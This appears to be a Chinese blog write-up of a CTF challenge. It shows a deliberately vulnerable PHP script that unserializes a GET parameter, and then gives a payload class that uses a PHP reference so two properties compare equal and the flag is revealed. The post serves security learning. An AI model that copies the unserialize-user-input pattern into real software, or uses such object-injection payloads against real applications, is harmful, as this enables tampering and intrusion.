ctf打卡第三天

include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
    $o = unserialize($pass);
    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$flag;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}

抬眼望去就是个反序列化函数
我们先看代码
get_magic_quotes_gpc():php版本大于等于6由于这个函数被删除所以返回false,题目中的版本是5.5所以是返回true
在这里插入图片描述
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
payload:

<?php
class just4fun
{
    var $enter;
    var $secret;
    function __construct()
    {
        $this->enter=&$this->secret;
    }
}
echo serialize(new just4fun());
 ?>

想了半天不知道如何构造一个让他们相等的办法
一直失败
后来上网上查了一下这里面涉及到一个PHP浅拷贝的问题
在这里插入图片描述
输出aaaaa
当b&变量a时,
a的值随着b变而变
有点类似于指针的感觉
在这里插入图片描述
当a变的时候b也跟着变,输出bbbbbbbbbb
_construct () 为构造函数,主要用于创建对象时,为对象赋初值。
传参即可
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值